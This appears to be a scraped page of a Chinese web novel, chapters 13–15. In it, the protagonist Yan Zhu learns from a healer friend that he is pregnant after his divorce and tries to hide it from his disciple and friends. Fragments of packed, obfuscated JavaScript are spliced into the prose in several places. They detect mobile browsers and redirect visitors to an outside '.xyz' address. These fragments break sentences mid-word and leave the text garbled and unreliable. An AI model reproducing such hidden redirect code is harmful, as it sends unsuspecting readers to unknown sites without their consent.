d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248499|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级豪华,于是扭扭捏捏地问他能不能跟他一起。 晏烛自然无所谓,反正房间多的是。 晏之桃顿时开心,她还在幻想着那是多大一艘船,结果看到那艘朴素的飞舟后有一瞬的沉默。 晏烛看她这反应忍不住笑了笑:“进去看看吧。” 等进了船舱,晏之桃瞬间兴奋起来,在船舱内跑来跑去,看到那些精致漂亮的寄灵人偶时还会跟它们打招呼。 晏烛跟她相处几天,知道她性格其实很可爱,便问她为什么第一次见面是那副嚣张的样子。 “是我爹教我的。”晏之桃解释道,“他说在外面要有底气一点,这样才不会被人看不起,被人欺负。” 晏烛被逗乐了,拍拍她脑袋,说:“现在有我们,你个小孩就好好玩去吧。” 晏之桃应了一声,开心地继续在船上疯跑。 阿福见她走,便问道:“我要继续这样?” “毕竟是在船上。”晏烛安抚他,“等到了丰凌洲,你就可以变回去了,放心。” 但丰凌洲还有很远,这意味着阿福还得装很久。 有一天晏烛刚醒时候人还是懵的,看见顶着闻肃尘易容的阿福走过来时候都没反应过来,下意识叫了一句:“小师兄。” 声音沙哑绵软,调子也很软。 阿福下意识就走过去,很轻地“嗯”了一声。 晏烛伸手拉住他的衣角,问道:“什么时候回来的,你昨晚……”话还没说完,就反应过来情况不大对,连忙松开手,抱怨道,“你怎么也不提醒我。” 阿福没回答,只是问道:“要什么?” 晏烛盯着他看了几息,叹气道:“你越来越像小师兄了。” “我是他教的。”阿福道,“你今天起晚了。” 晏烛皱眉:“是吗?”他说着看了一眼屋内计时的法器,发现自己的确比平常晚起了半个时辰,他笑了笑,“就这么一会。” 阿福蹙眉:“昨天也起晚了。” 晏烛见他这样,笑着伸手掐了一下他的脸颊:“看你紧张得,出来玩放松一下又没什么。” 但阿福眉头却依旧皱着。 晏烛虽然没有固定的作息表,但因为长期规律的生活习惯,所以他每天到点就自然醒,时间差不多了就会困,也就熬夜的时候会多睡一会。 但除此之外,晏烛也的确没什么问题。 但晏烛却醒得越来越晚,连祁然音都调侃晏烛最近越来越懒了。 晏烛还是那句话:“出来玩,自然要放松一点,多睡一会也没什么。” 几人也给晏烛查看过身体,但都没有探出什么来,阿福只能把这件事先放着,等到了丰凌洲,他第一件就是问最好的医馆在哪。 被问到的人一听,笑着给他指路:“城里最好的那肯定是回春堂,不过也就能治些小伤,真正厉害的那还得是长生派。” 阿福闻言,立刻道:“那我们先去长生派拜访一下。” 晏烛看他着紧张兮兮的样子,还觉得好笑,但知道他也是关心自己,也没多话,只说:“那去吧,正好见见老朋友。” 他们几个进去都没问题,但空浮…… “你一个魔修混进这种地方不好吧?” 空浮却有些不以为意:“明心宗我都能混进去,区区一个长生派,有什么不行的,放心吧,修为在我之下的看不出来。” 而他的修为,放眼修真界也是名列前茅的。 但晏烛还是给他准备了一个隐蔽的法器,这才带着他一起去了长生派。 长生派听着厉害,但并不是一个多大的门派,只是这个门派盛产医修,许多人求上门,所以名气很大。 晏烛以前也经常跟这个门派的人打过交道,听见接引弟子问他找谁,他想了想,说:“应云仙?” 弟子听见这个名字愣了一下,问道:“有预约吗?” “还要预约?”晏烛迟疑道,“他很难见?” 一句话把接引弟子也问懵了,解释道:“我们掌门日理万机,想请他看病的人都排到百年后了。” 晏烛恍然:“原来他是掌门啊,那你帮我传句话,就说晏烛来找他。” 那弟子一听到这个名字,脸上立刻露出一个灿烂的笑:“原来是晏道友,快请进,先去喝杯茶,我现在就去找掌门!” 态度转变之快简直惊人。 看着对方热情的态度,阿福忍不住皱起眉。 又是晏烛的熟人? 13.第 13 章 应云仙跟晏烛的确很熟,熟到两人一见面就来了一个大大的拥抱。 分开后他第一句话就是:“你又种出什么好东西了?” “没有,我只是出来玩的。”晏烛解释道,“这边不是有个门派要开放秘境吗?” 应云仙听见这话,顿时没了兴趣。 他跟晏烛会认识,是因为很久之前有一回跟弟子出去采购时,正好买到了明心宗弟子种出来的灵植,他当时就被那品质深深迷住了,多方打听后才联系到晏烛,那之后晏烛就经常给他供货,他遇到什么珍惜灵植也会给晏烛送去,让他研究一下怎么种。 “那里头没什么珍贵的东西,没必要去。”庆云仙道,“魔兽多,矿多,长的灵草都低级得很,别去了。” “我只是去玩。”晏烛解释道,“你知道什么那个秘境什么时候开吗?” 应云仙闻言,伸手给他倒了一杯茶,解释道:“原本预定是一个月后,不过我估计会提前。” 晏烛闻言愣了一下:“怎么说?” “直觉,那边最近灵力波动很奇怪,听说是秘境出现问题了。”应云仙解释道,“要么是快升级了,要么是出现了什么意外,总之秘境变得不稳定,打开的时间也不好控了,如果你们想去得小心。” 晏烛点点头,从乾坤戒里拿出一袋灵草递给应云仙。 应云仙顿时心花怒放,往晏烛身边挤了挤,还没碰到人,就被一只手拦了一下。 他看过去,对上了一张年轻的俊脸。 应云仙跟明心宗大部分人都不熟,但作为掌门,跟闻肃尘还是打过交道的,所以第一眼他就认出这张脸了,顿时一愣。 “降……”第一个音刚发出,他就察觉出哪里不对,又把后面的话咽了回去,看向晏烛,“这是……你们儿子?” 晏烛:“……不是。” 他有些尴尬地解释道:“是我徒弟。” 应云仙闻言松了口气:“我还以为你吃了孕果。” “没有。”晏烛笑了笑,当着晏之桃的面,他没提跟闻肃尘和离的事,只说,“带他出来玩。” 应云仙却道:“你真不考虑吃?你们成亲那么多年,就不想要个孩子?” 晏烛无语地看他:“别想拿我当你的试验品。” 应云仙只好遗憾叹气。 这时阿福才道:“能麻烦上人替家师看看身体吗?” 应云仙看向晏烛:“你身体不舒服?” 晏烛摇头:“就是睡懒觉,他大惊小怪。” 应云仙立刻朝他伸手:“来。” 晏烛听话地伸出手去。 他是真觉得自己身体没什么问题,但阿福担心,看看也行。 应云仙手指往他手腕上一搭,一股灵气便顺着他的手往晏烛体内探,不过一小会的事,他眉心就皱了起来。 见他这表情,跟来的几人表情也都变得严肃起来,只有晏烛知道他的尿性,根本没当回事,笑道:“别吓唬人。” 应云仙这才露出一个笑:“没什么事,你难得来一趟,要不我陪你走走,我们这也种了不少好东西。” 晏烛愣了一下:“不麻烦吗?” “这有什么,我时间多着呢。”应云仙说着又招来几个弟子,让他们带其他人去参观。 众人这才明白他是想单独带晏烛。 阿福立刻就不乐意了。 这应云仙生了副斯斯文文的皮囊,怎么心肝这么黑? “我跟师父一起。”阿福道,“我就跟着,你们去哪我去哪。” “不行。”应云仙拒绝道,“我们门派有些地方不让外人去。” 阿福还想说什么,但晏烛抬手阻止了一下:“你也去好好玩吧,成天跟着我像什么事。”他说着看向应云仙,“走吧,带我去看看。” 看他对着应云仙温柔的笑,阿福胸闷地看向应云仙。 对方一双多情的桃花眼也冲他弯了弯,笑出一副风流勾人的样子,想来也是有许多人追求的。 阿福又看了一眼同样郁闷的空浮,他也是长了一张好相处的脸,难不成晏烛喜欢这样的? 他还在想用什么借口能跟上,晏烛已经迫不及待跟着应云仙走了。 一离开,应云仙就匆匆拉着晏烛往没人的地方去,一副居心叵测的感觉,但晏烛也不担忧,跟在他后头走了一会,直到四下无人才抬手下了个隔音禁制,说:“好了。” 应云仙停下脚步,但不放心似的,又多下了几个禁制,这才拉着他原地坐下,表情严肃:“你真的没吃过孕果?” 晏烛知道他肯定是有什么话不好当着其他人的面说,但这话还是问得他有点摸不着头脑,迟疑了一下才点头:“怎么了?” 应云仙“啧”了一声:“绝对?” 晏烛本来是想点头的,但看他这反应,又有些犹豫了。 焚雪峰的寄灵人偶每天都会去焚雪峰跟葳蕤峰捡或摘一些灵果回来,那些不能吃的他都下过禁制不让它们去,但万一有那么一个滚出禁制了呢。 思考片刻,晏烛还是道:“也不绝对。”说完他也明白过来应云仙的意思了,狐疑地看他,“你是庸医吧?” 应云仙:? “要不是你会种地,我肯定抽你。”应云仙说着深呼吸几口,这才继续说道,“虽然月份还小,但肯定不会出错。” 晏烛皱眉:“大概是什么时候?” 应云仙报了个大致的时间,晏烛算了一下……都不用算,估计就是他们和离前一晚的事,在那之前闻肃尘有事不在,他们有一段时间没见。 他不知道自己是什么时候误食孕果的,但他跟闻肃尘的床事其实挺频繁,结果一直没动静,直到要和离了才…… 晏烛有一瞬觉得这像是冥冥之中注定的,但注定了什么,他也说不好。 又或者……不想说。 “要怎么拿掉?”晏烛问道。 没想到他会这么问,应云仙愣住了。 晏烛看他这反应忍不住笑了一声:“怎么?你特地拉我到这不就是因为这个?” 应云仙皱眉:“当然不是,只是你自己说没吃过,我这不是担心有什么内情,既然只是个意外,说明你跟这个孩子有缘分,拿掉多可惜。” 晏烛只好把自己跟闻肃尘和离的事说了。 应云仙闻言也有点惊讶,他跟祁然音的想法差不多:“为什么?他哪里不好?离了他你还能找到更好的?” 晏烛实在不想解释,只是摆摆手。 应云仙见状也不再多问,只说:“离了就离了呗,这是两回事,你又不是养不起这孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261418|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说了,以仙尊的品行,就算和离了也会抚养他的,降雪仙尊的孩子,我都不敢想他将来得多厉害。” 晏烛却是皱眉:“他的孩子又怎么了?天赋又不会遗传。” “那也不一定。”应云仙道,“龙生龙,凤生凤嘛。” 晏烛却还是摇头:“能拿掉吗?” 他态度太过坚决,应云仙便知道这里头可能不仅仅是和离的事,他倒是有心多问几句,但作为大夫来说太多事,作为朋友他们的关系又着实没到那个地步,犹豫了一下,还是只说:“能是能,但很麻烦。” 晏烛皱眉。 “我是说真的。”应云仙解释道,“男人生子本就是违反常理的,孕果主要是在你体内制造出一个适合孩子发育的环境,但到底和真正的女人不一样,千辛万苦得来的,想不要自然也要受不少苦。” 晏烛眉头皱得更紧了。 应云仙继续劝道:“你还是再考虑考虑吧,我……” “不想要。”晏烛打断他的劝说,“你帮我想想办法,是我自己没注意,什么苦我都认了。” 应云仙哑然:“有必要吗?我这有最好的丹药,还有我在呢,我保证你生下来绝对不会受苦。” 晏烛却还是摇头,只是这回不说话了 。 应云仙看他倔成这样,只好无奈地点头:“那给我点时间,你知道的,孕果罕见,会去吃的都是真心想要的,你这情况还是头一回,我得研究研究。” 晏烛点头:“反正我这段时间都会呆在这边,缺什么随时来找我,还有,这件事别跟其他人说。” 应云仙默了默,点点头。 等两人再回到人前时,已经恢复了,阿福远远看见两人有说有笑的样子,立刻扔下带路的弟子跑过去:“师父!” 晏烛立刻弯起眼,伸手摸摸凑过来的脑袋:“玩得开心吗?” “还行。”阿福瞥了他身旁的应云仙一眼,“师父呢?” “挺好的。”晏烛笑着解释道,“这里种了不少好东西,可惜焚雪峰跟葳蕤峰不够大,等回去了把那座岛好好收拾一下,我们也能多种点东西。” 阿福立刻点头,乖巧道:“我帮师父。” 应云仙看着那张脸,忽的说道:“如果你跟仙尊有孩子,长大了应该就是这样吧。” 这话说得没头没脑,阿福奇怪地看了他一眼。 晏烛瞪了他一眼:“我累了。” “知道了。”应云仙唤来弟子,给他安排了个清净的住处。 晏烛住的地方从窗外看出去还能看见大片的药田,那灵药正值花季,蓝蓝地开了一片,风一吹像是一片海。 晏烛看着花海,心情却怎么也好不起来。 他还在想着肚子里那个意外。 同性成亲,多少都会提一句后代的问题,要不要,要的话怎么要,谁来生等等,但他跟闻肃尘是父母之命媒妁之言,当时根本没仔细讨论过这个问题,后来两人因为一个意外上了床,之后有有了很多很多次,但他们从来没提过孩子的事。 这说明他们两个都不想要,所以拿掉最好。 但就算下了决心,他心里还是空落落的。 倒不是像应云仙说的那样觉得可惜。 只是单纯的……心里空落落的,想跟谁说一说话。 14.第 14 章 阿福进门的时候,晏烛还在冲着外头发呆,风卷着一点花瓣从窗户溜进来,落在他耳畔,像是簪了一朵小花。 他犹豫了一下,还是走过去将花瓣拿下来,在指尖轻轻碾碎,这才叫了一声:“师父。” 晏烛愣了一下,转过来脸来时面上已经带了笑:“怎么了?” “这话该我问。”阿福道,“怎么在这发呆?是应云仙刚刚跟师父说什么了?” 他语速并不快,语气也沉,但晏烛还是从中品出了一点着急的味道。 “能说什么。”晏烛笑着应道,“就是介绍一下七星派,还有……问我要不要加入七星派。” 阿福立刻警惕:“你是明心宗的人。” “又不是不能转门派。”晏烛道,“比起明心宗,七星派的确更适合我。” 阿福立刻辩道:“没有的事,只要师父想种灵植,以后明心宗会有更多地方!” “然后都我一个人种?”晏烛笑道,“去明心宗的人,还是学剑的多。” “不会,等下次收人,就会有很多弟子拜到师父门下了!”阿福道,“等回去了我就跟师伯说,他一定能解决的。” 晏烛对新弟子兴趣不大,反正分散了阿福的注意力就行。 看他急得要翘尾巴的样子,晏烛就忍不住笑,等他解释了一会才伸手揉揉他的脑袋,哄道:“骗你的,我怎么会丢下你自己跑掉。” 阿福表情这才好了一点,沉默片刻后才很轻地说道:“师父很狡猾。” 晏烛依旧是笑,没有回答他。 他挺开心阿福能看出他的情绪变化,但事情他一点也不想说,不想让徒弟担心,也不想有一天被闻肃尘察觉一点端倪。 在他的计划里,应云仙把法子研究出来,他偷偷把孩子拿掉,可能会虚弱几天,到时候随便找个借口搪塞过去就行,这样就不会有第三个人知道这个小东西曾经来过了。 但人算不如天算,也不知道是单纯的他妊娠反应就是大,还是小东西知道自己要没了所以使劲刷存在感。 晏烛第二天又起晚了。 面对阿福皱着眉一脸担忧的模样,晏烛难得生出一点点心虚来,但他不敢说实话,只能干巴巴安慰道:“我就是太累了。” 至于为什么累,说不清楚。 于是晏烛今天干脆吃完早饭就出门去了,准备今天在丰凌洲逛一天,逛累了,那明天起不来就很合理。 结果下午他就在车上睡着了。 他们一行人原本预订去赌石的铺子逛逛,但车里点的香太好闻,挂在四角的风铃叮铃声又太催眠,晏烛坐着坐着眼皮就开始打架。 彻底阖眼时太阳还当空照,等再睁眼时夕阳已经只剩一点影子。 他们的车停在一条比较清静的路旁,晏烛看着围在旁边的三人,露出一个恰到好处的疑惑表情:“怎么了?” 祁然音没有解释,直接掀开车帘指了指外头。 晏烛顺着他手指的方向看过去,就见“回春堂”三个大字挂在一栋楼前,从门口往来的人就能看出那的大夫应该不错。 晏烛收回目光,面不改色问道:“你们谁不舒服?” “是要给你看的。”祁然音道,“你不对劲。” 晏烛没动。 祁然音又道:“要么看,要么老实交代,我不信应云仙什么都没查出来。” 晏烛忽然觉得有这么几个关心又了解自己的人也不全是好事,就算他尽力装出无事的样子,也跟应云仙打过招呼,但依旧逃不开他们的火眼金睛。 “我真没事。”晏烛摆出一副乖巧的姿态,表情无辜地看着他们,“就是这两天累的,过段时间就好了。” 然而三人并不吃他这一套,祁然音看他这么抗拒,甚至怀疑这人是不是患了什么绝症,于是道:“我去把人请来!” “你请来我也不看。”晏烛抱起手,开始犯犟。 只要他不点头,他们总不能把他硬拖进去。 于是三人只能作罢,但坐回车上的时候,晏烛还是听见祁然音说“等下次睡着直接把人带进去就是”。 于是晏烛第二天只能撑着不睡,但一整天都没什么精神,看上去病得很重似的,搞得其他人越发担心,阿福甚至拿出了杀手锏:“我去和师伯说。” 晏烛一听眉头就拧了起来:“我们都和离了,他管不着我。” 阿福道:“但师伯能让应云仙开口。” 晏烛沉默了,他怎么没想到这个。 于是第二天他就去找了应云仙。 应云仙还在研究晏烛的事,看见他,第一句话就是“没那么快”。 “我不是为这事来的。”晏烛在他面前坐下,开门见山问道,“如果小师兄对你威逼利诱,你觉得你能撑多久?” 应云仙想了想,答道:“利诱一刻钟,威逼……那得看他什么时候动手。” 晏烛:“……这么没有骨气?” “人为财死鸟为食亡,那可是降雪仙尊。”应云仙道,“我感觉没人能在他手里撑太久。” 晏烛没辙了:“那你有没有办法帮我解决一下这个犯困的问题。” “能,但效果不大。”应云仙解释道,“人困起来真的很难挡得住。” “可我的境界都不怎么需要睡觉了。”晏烛道。 虽然他一直保持着普通人的作息,但那只是他的习惯,到他的境界,几个月不睡觉其实没什么问题,但他也没什么事需要他这么折腾自己,也就闻肃尘那种工作狂会选择把所有睡眠时间都用来做事。 “那还是不一样的。”应云仙道,“这事更像……灵力亏空,虽然不要命,但不舒服,用丹药能缓解,但效果有限。” 晏烛皱眉。 应云仙继续说道:“而且这只是刚开始,你估计是比较严重那种,后边说不定还有别的反应。” 晏烛听得眼前一黑:“还有什么反应?” 应云仙便把有可能的妊娠反应都说了。 晏烛听完,感觉这事实在不好瞒,与其坐以待毙,不如主动出击。 他问应云仙:“有没有什么病症状差不多,可以搪塞一下他们?” 应云仙:“……” 应云仙想了想,说:“只要别碰上懂点的,倒是能糊弄过去,但这也不是办法。” “所以能不能快点解决得看你。”晏烛道,“实在不行你随便给我点药吧,只要把他处理了就行。” 应云仙无语:“我是大夫,不是屠夫,乱吃药你也不怕伤了根基!” “我根基本来就不好。”晏烛无所谓道,“伤了就伤了,以后再慢慢养就是,现在当务之急是把这事解决了。” 应云仙气得跳脚:“你想都别想,老实等着,你要是敢乱吃丹药,我就传信给降雪仙尊!” 晏烛顿时老实:“可我快应付不了了。” 应云仙只好让人去把阿福请来,编了个借口,说晏烛最近情绪不好,影响了身体,不是什么大事,好好调理就可以。 至于怎么调理,那就不是他该操心的了,七星派膳房的厨子是这方面的专家,普通的美食做得,药膳也做得,实在不行还有飞舟上的寄灵人偶,它们做菜那也是一等一的厉害。 应云仙告诉了阿福一些要忌口的东西,剩下的只要晏烛爱吃、能吃,那就什么都能做。 阿福又再三确认了晏烛的身体的确没什么问题,这才带着他离开。 “心情不好有什么不能说的。”阿福不理解,“我们说不定能给师父解了心结呢。” 晏烛并没有什么心结要解,但应云仙那么说,他总得想法子圆,于是只能硬着头皮解释道:“和离了,心情不好,不是很正常吗?” 阿福道:“可师父之前吃好睡好,忽然就伤心了吗?” 晏烛也觉得这话是有点假,于是想了想,说:“触景生情。” 阿福盯着他,不说话,但看那倔强的小眼神就知道这是他无声的追问。 “就是……云仙不是……不是让我来七星派嘛……”晏烛一边说一边想,说得磕磕巴巴的,“我就想起以前……以前其实有人来挖过我。” 阿福狐疑道:“真的?我怎么没听师伯提过。” “他肯定不会什么都说。”晏烛道。 阿福道:“那我回去了再问。” 晏烛:“……” 徒弟不好骗也是个问题。 他叹了口气,将方才的话圆了圆:“是我们刚成亲没多久后发生的事,不过不是挖我。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274102|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而是想挖他的墙角。 他们成亲时闻肃尘已经在修真界崭露头角,几乎所有人都确定他前途无量,想和他结亲的人亦是数不胜数,结果闻肃尘却和他成了亲。 当时许多人都猜他是越不过恩情,所以才娶了晏烛这么个修为低微的漂亮草包,虽然有点惨,但知恩图报的人谁不喜欢?所以有段时间经常有人试图给闻肃尘送人,妻做不了,妾也可以。 而闻肃尘无一例外都拒绝了。 那些人见闻肃尘不买账,就又去找晏烛,想从晏烛那边下手。 晏烛觉得他们有病。 但那些人里有一个人却让他印象深刻,那是某个世家的少爷,长相精致,身材纤弱,一双眼睛看人时自带三分勾人的可怜劲,是很容易让人生出保护欲的那种人。 他天赋中等,修为也一般,但有一点很特殊——他是个雌雄同体的人。 他当时和晏烛说,闻肃尘这样的人,将来肯定是妻妾成群,晏烛一个男人,要孩子并不容易,到时怎么能斗得过那些人?倒不如跟他合作,他生了孩子,都交给晏烛抚养,还会帮他盯着其他妾室,晏烛只要给他和他家族足够的资源就行。 他当时语气非常坚定,好像这是一桩很划算的买卖,晏烛一定会答应。 晏烛当晚就躲在被子里哭了。 和爱无关,只是单纯觉得自己重要的人要被抢走了。他不想承认对方说得对,不想承认他跟闻肃尘的关系只是一场交易,所以他可以,别人也可以。 “那后来呢?”阿福看着晏烛,眉头皱得很紧。 这种事这些年很多,他以为他拒绝了,事情就算结束了,没想到居然还有后续。 “后来当然是什么都没有了。”晏烛道,“不然现在你师兄都一堆了。” 阿福愣了好几息才反应过来他口中的“师兄”指什么,顿时皱起眉:“师伯不会做这种让师父不开心的事。” 晏烛却只是笑笑不说话。 这个反应倒让阿福着急起来:“我现在就给师伯传信,跟他说!” 晏烛伸手敲他脑袋:“不准!” 阿福道:“让他给师父认错!” 晏烛叹气:“他又没错。” 但阿福显然不这么觉得,他依旧皱着眉,一副他师父受了天大委屈的表情,看得晏烛心里一阵柔软。 其实他可以多说点,但那样就没办法掩盖怀孕的事,只能先让徒弟误会着了,等事情解决,他一定会好好补偿徒弟的! 然而晏烛后面才发现自己还是想少了。 大概是心疼他,阿福几乎每天都给他准备一锅十全大补汤,补完还有空浮从各家客栈酒楼搜集来的好菜,最后再由祁然音陪他举杯长谈试图开解他。 心意很感人,但几天下来,晏烛已经吃得有点想死了。 在阿福再次端来一大锅放了一堆灵草的灵鸡汤的时,他终于受不了,趁着夜黑风高,所有人都熟睡之际,端着锅去找应云仙了。 巨大的锅子往床头一杵,吓得应云仙以为孟婆来索命,大叫着一掌拍出去,结果这口锅也不知道是什么做的,“哐”一声下去居然半点伤痕也无,反而疼得应云仙叫出今晚第二声。 晏烛无语:“你干嘛?” “这话不该我问?!”应云仙怒道,“你大晚上端口锅过来干嘛?!” “热情分享,给我喝!”晏烛道,“我快补死了!” 应云仙正往手上敷灵草,头也没抬:“那不是好事?拿掉孩子伤身体,也需要补补。” “不想补!”晏烛一拍桌,“再给我想个办法!” 应云仙:“……” “摊上你我真是倒了八辈子霉!”应云仙道,“你又要病又要不吃药,哪有那么多好事?!要我说你干脆都交代算了,反正你徒弟那么听你的话,你让他瞒他肯定瞒到天荒地老,另外两个就更不用说了。” 不得不说,晏烛的确有一瞬间的心动,但他很清楚,就算他们三个愿意帮着瞒,也保不准会有什么意外。 想保守一个秘密,那这个秘密还是越少人知道越好。 他刚跟应云仙说这句话,就听见外头传来一声灵兽的叫声,是应云仙看门的宠物。 意外果真来得猝不及防。 15.第 15 章 应云仙很疑惑。 他的灵兽可不是那种只能看家护院的普通小狗,要来的是毫无威胁的人,它会示警,要来的是有威胁的人,它会攻击,除非对方修为高到能完全压制住灵兽的感知。 可七星派最近并没有出现这种人,那对方是怎么悄无声息跑进来的? 他警惕地拉住晏烛,正想让他小心,就见晏烛摆了摆手,安抚道:“没事。” 应云仙不知道,但他多少能猜出来。 两人一起往外走去,就见门外站了个人,一袭黑衣,表情阴郁,站在那像地狱爬出来的鬼。 “就知道是你。”晏烛道,“你大晚上不睡觉跟着我干嘛?空浮。” 空浮没有回答,只是指了指不远处,就见祁然音跟阿福也在,两人的表情也都有点奇怪。 晏烛顿时蔫了。 瞒得要死要活就瞒这么几天,也不知道有什么意义。 他看了一眼应云仙:“阿福身上有隐藏气息的法器,小师兄的东西,你的灵兽察觉不到也正常,没事,我来处理,你继续吧。” 他说着拉上空浮,又去叫其他两人,但阿福却没动。 他站在原地,看着晏烛说了一句什么,声音很小,小到听不出情绪,像一句自言自语被吹到晏烛耳畔:“是真的吗?” 晏烛无奈:“先回去再说。” 阿福依旧没有动,他看向应云仙,但还没开口,就被晏烛打断了:“别让我说第二次。”说完,大概是觉得自己语气太过生硬,晏烛又放软了一点语气,“回去我们再好好谈,走吧。” 阿福只好乖乖跟着走。 等回到住处,祁然音立刻冲上来,表情严肃地问他:“拿掉孩子是什么意思?” 晏烛抬手,正准备布下禁制,空浮便先抬手布了几层。 看三人沉着脸的样子,晏烛反倒笑了出来:“就是字面上的意思,我怀孕了。” 虽然刚刚已经听到了,但听见这话祁然音还是觉得眼前一黑:“你都决定要跟他和离了,怎么还搞出这种事?!” 晏烛只好把事情解释了一下。 祁然音听完也是胸闷:“我之前就跟你说,别种那些乱七八糟的灵植,种也要好好分门别类,你就是不听!!” “我好好下过禁制了。”晏烛抱起手,“凡事都有意外,就像我没料到你们居然偷偷跟踪我一样!” “还不是因为你不肯说。”祁然音气道,“还好我们跟过来了,这么重要的事你怎么敢瞒着的?!” 晏烛却还是一副无所谓的态度:“我又不打算生,有什么重要的。” 祁然音虽然不知道具体情况,但也能猜个七七八八,气得直跳脚:“怎么不重要了?!当然是身体为重了!如果没办法就生下来,你还怕养不起他吗?” 晏烛闻言笑道:“怎么不怕,我修为这么低,又赚不到几个钱,等他长大了,要是修炼,那就是个无底洞,我可养不起。” “降雪仙尊肯定不会放着不管,那点资源对他来说,根本算不上什么。”祁然音道,“要是他真那么忘恩负义,还有我呢,我帮你养。” “就是,再不行还可以跟着我。”空浮也说道,“认个干儿子干女儿也挺好的。” 晏烛闻言依旧只是笑了笑:“都还没影的事,你们倒是都打算好了。” “不然呢?”祁然音皱眉道,“如果这件事那么好处理,你怕是当场就解决了,现在被我们发现了,你肯定会乱吃药吧?!” 居然都被说中了。 晏烛心虚地看他:“没有哦。” “你……” “我都说了,后面就不会乱来了,云仙会把事情处理好的。”晏烛语气温和,但态度却依旧很坚决。 祁然音和他认识很多年,知道晏烛虽然好脾气又好说话,但其实骨子里特别犟,他决定好的事说什么都没用。偏偏他情绪还很稳定,不会大喊大叫的反驳,以至于面对他时甚至也没办法用太激动的声音和态度去和他吵,只能忍着脾气跟他说。 但说也白说。 知道再劝下去和鬼打墙没什么区别,祁然音只能放弃,把目光投向抱着手站在窗边的空浮。 但空浮只是含糊应了一声。 真要说起来,他希望晏烛以后都不要跟闻肃尘有什么牵扯,而小孩却注定让两人纠缠不清,所以可以的话,他并不希望晏烛留下这个小孩,根本没打算多劝。 祁然音只能把目光转向阿福。 但对晏烛的事很挂心阿福此时却很安静,他坐在窗边盯着外面,表情严肃又冷峻,和祁然音印象中的闻肃尘似乎重叠了。 “阿福。”祁然音叫了一声,见他转过来,说道,“劝劝你师父。” 但阿福只是低下头,没有说话。 祁然音气走了。 晏烛看向空浮:“你也先回去吧。” 空浮看了一眼窗边的人,见他不动,晏烛也没有赶的意思,便没多事,只说:“禁制我留着。” 说完也走了。 晏烛这才走到阿福身旁坐下,伸手摸了摸他的头,脸上划起浅淡的笑:“怎么了?回来后就闷闷不乐的。” 阿福依旧低着头,没有回答,月光越过窗户撒在他身上,像是一层银白的冰霜,衬得他整个人很冷。 像是雪。 这时候晏烛才再一次感受到,阿福是真的很像闻肃尘。 “你也想劝我留着孩子?”晏烛问他。 阿福看他:“师父为什么不想要?” “养不起啊。”晏烛笑道。 阿福没有回答,定定地盯着眼前的人,眼神里满是执拗,强烈的情绪瞬间抹去了他身上那种和闻肃尘相似的感觉。 晏烛脸上的笑容也淡了一点:“我不会要的。” “为什么?”阿福问道。 “为什么?”晏烛像是在重复他的话,但语气不像阿福那样带着一点质问,而是疑惑的,甚至是匪夷所思的,“怎么你们每个人都把生一个孩子说得像捡一只小猫回家?” 阿福一愣。 晏烛又道:“难道我是那种,会因为跟小师兄和离了就胡乱下决定的人吗?” 阿福闻言迟疑了一下:“是。” 晏烛虽然大多时候都很乖,不会去做什么出格的事,但他有时候也会闹小孩子脾气,会倔强地、不听劝阻地去做那些不能做的事。 “你越来越不可爱了。”晏烛叹了口气,“我没有跟小师兄赌气,是真的不想要。” “为什么?”阿福又问,他想着晏烛刚刚的话,有些犹豫,“师伯肯定会给他最好的资源,只要他想,他会变得跟师伯一样厉害,变成最强的剑修,变成明心宗下一任掌门,弟子们也会很崇拜他。” 他说的时候语速有些慢,甚至声音越来越小,明明是在说很了不起的事,却莫名说出一种羞耻感。 晏烛安静地听着,听到变成下一个仙尊的时候,他忍不住笑了。 “变成下一个闻肃尘,然后呢?”晏烛问他。 阿福被问住了。 是啊,然后呢。 这个世界上需要那么多闻肃尘吗? “然后就继续做明心宗的掌门。”晏烛看着阿福,眼睛弯出一个好看的弧度,薄唇轻启,吐出的字却比月色还凉,“阿福,娘亲将我生下来,不是为了让我生下一任明心宗掌门的。” 阿福脸色瞬间就白了,他连忙摇头,有些磕巴道:“我、我不是那个意思,师父你不要误会。” 晏烛看他这样,问道:“看来你知道我娘的事。” 阿福抿起唇不说话了。 “知道她什么呢?”晏烛问道,“她是一个很好的人?” 阿福解释道:“我也是听说的,说她和掌门很……很恩爱,不过已经病逝了,我没想提起师父的伤心事。” “只是这些?”晏烛道,“难道没人告诉你,她是因为生下我才生病的?” 阿福又不说话了,但不说晏烛也知道他肯定听说了。 这不是什么秘密,门派的老人都知道,然后他们又把这件事告诉了后辈,一代传一代,好像这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 